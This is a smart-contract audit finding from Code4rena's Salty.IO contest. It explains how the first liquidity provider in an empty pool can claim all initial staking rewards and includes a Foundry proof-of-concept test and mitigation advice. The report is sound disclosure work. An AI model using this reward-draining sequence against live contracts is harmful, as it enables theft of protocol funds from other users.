First Liquidity provider can claim all initial pool rewards

criticalCode4rena

Lines of code

https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L57 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L147 https://github.com/code-423n4/2024-01-salty/blob/53516c2cdfdfacb662cdea6417c52f23c94d5b5b/src/staking/StakingRewards.sol#L232

Vulnerability details

Vulnerability Details:

Liquidity providers can add liquidity to the protocol using the depositCollateralAndIncreaseShare or depositLiquidityAndIncreaseShare functions, both functions call the _increaseUserShare function to stake the users liquidity and account for the positions rewards. The current implementation has an issue, particularly in how it deals with the virtualRewards calculation for the first user. Since there is no current shares in the pool, then the virtualRewards calculation is skipped.

solidity📋
// Increase a user's share for the given whitelisted pool.
    function _increaseUserShare(address wallet, bytes32 poolID, uint256 increaseShareAmount, bool useCooldown)
        internal
    {
        ...
	uint256 existingTotalShares = totalShares[poolID];

        if (
            existingTotalShares != 0 // prevent / 0
        ) {
            // Round up in favor of the protocol.
            uint256 virtualRewardsToAdd = Math.ceilDiv(totalRewards[poolID] * increaseShareAmount, existingTotalShares);

            user.virtualRewards += uint128(virtualRewardsToAdd);
            totalRewards[poolID] += uint128(virtualRewardsToAdd);
        }
        // Update the deposit balances
        user.userShare += uint128(increaseShareAmount);
        totalShares[poolID] = existingTotalShares + increaseShareAmount;
	...
    }

To understand the implications of this, we need to look at how a user's rewards are calculated. The formula used in the userRewardForPool function is:

• uint256 rewardsShare = (totalRewards[poolID] * user.userShare) / totalShares[poolID];

From this calculated rewardsShare, virtualRewards are then deducted:

• return rewardsShare - user.virtualRewards;

In the case where the first user stakes in an empty pool, they end up having the same number of shares as the totalShares in the pool, but with zero virtualRewards. This means that the first user can claim all the pools rewards in the staking contract, as their share of rewards would not have the necessary deduction of virtualRewards.

solidity📋
// Returns the user's pending rewards for a specified pool.
    function userRewardForPool(address wallet, bytes32 poolID) public view returns (uint256) {
        ...
        // Determine the share of the rewards for the user based on their deposited share
        uint256 rewardsShare = (totalRewards[poolID] * user.userShare) / totalShares[poolID];
	...
        return rewardsShare - user.virtualRewards;
    }

A potential issue is the lack of Initial Rewards in the Contract. Initially, the staking contract does not contain any rewards, meaning that if a user were to claim rewards immediately, they would receive nothing. To overcome this, the user needs to trigger the upkeep function. This function is responsible for transferring up to the maximum allowable daily rewards to the staking contract.

The upkeep contract employs a timer to regulate the frequency and quantity of rewards distribution. However, since this timer begins counting from the moment of the contract's deployment (in the constructor), and considering the initial voting period for starting up the exchange spans several days, it becomes feasible to distribute the maximum daily reward amount by invoking upkeep.

Impact:

A LP can exploit this vulnerability to claim all the current staking rewards in the contract. Initially, there are 555k SALT bootstrap rewards per pool in the stakingRewardsEmitter, which are emitted at a rate of 1% per day. As a result, the first LP could claim up to 5.5k SALT.

Proof Of Concept

solidity📋
function testFirstLPCanClaimAllRewards() public {
        assertEq(salt.balanceOf(alice), 0);
        bytes32 poolID1 = PoolUtils._poolID( wbtc, weth );
        bytes32[] memory poolIDs = new bytes32[](1);
        poolIDs[0] = poolID1;
        skip(2 days);
        // Total needs to be worth at least $2500
	uint256 depositedWBTC = ( 1000 ether *10**8) / priceAggregator.getPriceBTC();
	uint256 depositedWETH = ( 1000 ether *10**18) / priceAggregator.getPriceETH();
	(uint256 reserveWBTC, uint256 reserveWETH) = pools.getPoolReserves(wbtc, weth);
	vm.startPrank(alice);
        // Alice call upkeep
        upkeep.performUpkeep();
        // check total rewards for pool
        uint256[] memory totalRewards = new uint256[](1);
        totalRewards = collateralAndLiquidity.totalRewardsForPools(poolIDs);
        // Alice will deposit collateral 
	(uint256 addedAmountWBTC, uint256 addedAmountWETH, uint256 addedLiquidity) = collateralAndLiquidity.depositCollateralAndIncreaseShare( depositedWBTC, depositedWETH, 0, block.timestamp, false );
        // check alices rewards
        uint rewardsAlice = collateralAndLiquidity.userRewardForPool(alice, poolIDs[0]);
        collateralAndLiquidity.claimAllRewards(poolIDs);
        vm.stopPrank();

        assertEq(totalRewards[0], rewardsAlice);
        assertEq(salt.balanceOf(alice), totalRewards[0]);
    }

Tools Used:

• Manual analysis
• Foundry

Recommendation:

The protocol can address this vulnerability in two ways:

• Call the performUpkeep function just before the initial distribution. This resets the timer, ensuring that a very small amount of rewards is sent to the staking contract if called again.
• Change the lastUpkeepTime to the start of when the exchange goes live, instead of in the constructor. This also ensures that only a minimal amount of rewards is sent to the staking contract upon subsequent calls, mitigating the problem.

Assessed type

Other